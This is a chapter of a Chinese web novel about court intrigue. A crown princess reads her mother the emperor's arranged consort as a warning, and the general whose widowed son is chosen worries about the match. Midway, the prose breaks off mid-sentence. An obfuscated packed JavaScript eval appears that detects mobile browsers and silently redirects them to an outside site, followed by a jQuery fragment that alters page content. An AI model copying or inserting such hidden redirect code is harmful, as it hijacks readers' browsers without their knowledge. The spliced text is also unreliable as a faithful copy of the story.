皇帝的旨意下来的很快,在外界眼里,她现在是重病的形象,如果顾承乾要纳侍,肯定会有不孝的嫌疑,但如果是皇帝自己下旨,那情况就完全不同了。
这只能说明陛下实在关心殿下。
所有人,包括晓昭都是这样想的,但偏偏作为主人公之一的顾承乾,似乎有些不同的想法。
书房内,空气骤然凝固。
晓昭猛地抬起头,下意识看向太女,只见顾承乾面色平静,似乎并无其他想法,感觉到晓昭的目光,还看了她一眼,然后才恭恭敬敬的接过了圣旨。
只有晓昭可以看见,太女双手接过圣旨的那一刻,握着圣旨边缘的指节已经微微泛白了。
“儿臣,谢母皇恩典。”
太女全程都十分恭敬,不曾有半点失礼,但偏偏笑着来宣旨的内侍只觉得浑身不自在,宣旨过去就匆匆离去,书房内只剩下了她们二人。
晓昭张了张嘴,想说些什么,却见太女已缓缓起身,将那卷明黄的绢帛随手掷在书案上。
“啪!!”
“殿下……”晓昭也不知道该说什么,呐呐的叫了她一声,但原本还带着怒气的太女却兀的笑了出来,拍了拍她的小臂。
“我没事,不用担心。”
顾承乾打断了晓昭的情绪,转身背对着她,走向窗口,望向天边垂落的晚霞:
“晓昭,你说年迈的狮王会希望看到年轻的幼崽长的太快吗?”
晓昭心头一沉:“殿下,陛下或许只是……”
“只是什么?只是体恤我辛劳,赐个可心人?”顾承乾转过身,“那为什么是程将军家的,又为什么选了个寡夫!”
为什么偏偏是博得她信任的程将军,是目前军中威望最大的程将军,为什么是在秋收节前夕,刚刚确定她会主持的前夕!是在警告她,她现在做的一切都被看在眼里,最好不要搞一些小动作吗?
还偏偏选了个寡夫,想羞辱她吗?
顾承乾闭上了眼睛,一时间书房内安静的有些不正常,晓昭犹豫再三,还是走到了顾承乾身边:
“殿下,既然你有这样多的问题,为什么不去问陛下呢?她是您的母亲。”
生身者为母,有问题为什么不去问呢。晓昭着实想不明白。
听到这个问题,太女猛地睁开了眼睛。
问?
顾承乾自嘲一笑:“有些问题,一旦问出口,就真的再也没有转圜的余地了。”
她转过身,直视晓昭困惑的眼睛:“我问她什么呢,我问她为何赐程家子,是质问她的用心?她可以有一千个理由来证明是为我好,堵得我哑口无言。
我问她为何选寡夫,是指责她折辱于我?她大可置之一笑,说我多想,甚至斥我狭隘,瞧不起嫁过人的郎君。”
她的语气越来越冷,却也越来越平静,似乎没有别的情绪,只是在客观的分析利弊:
“问,就是不满。不满圣意,不满君,不满母。她‘重病’之时仍不忘想着我,这时我若流露出半分对她的的疑虑,落在旁人眼里,我会是什么?
是恃宠而骄,是对母皇安排的不满,还是迫不及待想要摆脱母皇掌控的征兆。”
她是不是本就打着这个主意?顾承乾死死的攥紧窗框,不知道在想什么,晓昭则是连连后退,只觉得听完这些后颈一片寒凉。
她从未想过这件事会有如此复杂的含义,在她看来,母女之间有疑问,询问沟通是天经地义。可经顾承乾这么一层层剥开,她竟然觉得真如她说的这般,小心谨慎是必要的。
可,这可能吗?
她瞧着陛下是做不出来这种事的,殿下和程将军融洽,程将军孩子又多,赐一个男侍不是情理之中的吗?又不是正夫。
晓昭还想说什么,顾承乾却张开手掌,打断了她的话:“不用再说了,我有些累了,你先回去吧,明日秋收节很重要,今天早点休息。”
太女赶人的意味已经很明显了,晓昭便是再想说什么,也只能应声离去了:“是,殿下。”
顾承乾挥挥手,晓昭默默退下,书房重归寂静。只有那卷被掷在案上的圣旨,依旧明黄刺眼,被窗边透过来的风一吹,悄悄的卷起了一个角。
太女迈步,走向门外沉沉的夜色,身影很快融入东宫曲折的回廊之中。前路晦暗无光,让人难免心生畏惧,但她已别无选择,只能继续前进了。
自从圣旨下了以后,这个消息就像是长了双翅膀,瞬间飞遍宫廷,传到了太女夫的身边。
谢青珩是在用晚膳时,从欲言又止的贴身侍男口中知晓的,得知这个消息的以后,他反而有一种尘埃落定的感觉,就像是悬在脖颈上的剑终于落了下来,反倒是觉得畅快得很。
他本就不应该有更多的妄想,但总归是难免有所奢望的,如今才是彻底的安心。
与东宫整体的沉寂氛围不同,程府内一片喜气洋洋。
她因为男儿的婚事没少被人笑话,说她太过野蛮,也有人会说她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16821406|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没生女儿断了传承,性格顽劣男儿嫁不出去,但那又怎么样,还不是被她逮着了。
太女人品贵重,晓昭也是前途光明,性格沉稳,都是良人啊。
唉,早年间她也是想着不可能没有女儿,所以对男儿骄纵了几分,但结果还真没女儿,男儿也被她养的无法无天,但偏偏心性单纯,画个圈就往里跳,那几个嫁出去的不知道被其他侍夫算计了多少回了。
她急在心里,但总是帮不上忙,如今可算是好了,太女和晓昭总不会是非不分,冤枉她倒霉的男儿了。
“来人,拿——”
“唉,算了,我自己倒两杯水吧。”
程将军本就信守诺言,总不能太女成了他男婿,她就仗着关系坏了约定吧。
心里可惜这酒暂时喝不成,程将军化悲愤为动力,更加努力的抄起了书,争取在男儿出嫁之前给抄完。
进东宫不用大摆酒席,但和晓昭成婚的老四总要有一场婚宴,她这个当娘的总不能喝不上男儿的喜酒吧!
程将军斗志昂扬,直接挑灯夜战,写了一个晚上,等到第二天夫郎来叫他早起出城的时候,她还有些摸不着头脑。
“巳时上朝,夫郎叫我这么早做甚。”程将军看了看外面,如今外面尚且黑着,不过寅时而已,莫不成是得了什么病?
一边想着,程将军迷迷糊糊就摸上了夫郎的脸,却在下一刻猛然惊醒:
“将军,今日秋收节啊。”
程将军一跃而起,拽着衣服就爬下床,嘴里还一个劲儿的碎碎念:“陛下是不是故意的,本来秋收节就我们武将出力多,偏偏又在这前夕给我整了这么两桩好亲事,想把我当牛使啊!”
“将军难道不欢喜?”
夫郎给程将军系好扣子,拉着他的手,将头轻轻的停靠在他的肩膀处,凑在她的耳旁说话:“将军,别的孩子还好,但唯独老大我总是放心不下。”
“先是守了五年活寡,又在家里被人说了两年闲话,如今好不容易有了一桩顶好的姻缘,却又因着是二嫁夫,总有些配不上殿下的意味。”
“便是咱们自家人知道他是处子之身,但旁人又怎会信,我实在是担忧殿下会瞧不上他,若是殿下也嫌弃,瑛瑛他,他实在是活不下去了啊……”
夫郎啜泣不已,程将军见老发夫如此伤心,也是不由得生气一股保护欲,回抱住他的肩膀,信誓旦旦的发言:
“你放心,陛下仁慈,既然为我儿指婚,想必太女也不介意他二嫁身份。况且太女宽厚贤明,绝对不是这般庸俗的女子。我今日也会好好表现,为我儿挣回面子!”
“我信将军!”两妻夫依偎良久,程将军快速用了早餐,很快就斗志昂扬的出了府,朝着城门方向扬长而去。
她的夫郎双手合十,祈求今天一切顺利。
除了皇家,谁是谁的孩子通通不用在乎,但谁和谁长得像难道还看不出来吗?他便是确定了程瑛定然是他的男儿,又怎么会不担心呢。
程夫郎暗地里祈祷,而另一边,程将军也在规定的时间内,赶到了指定的集合位置。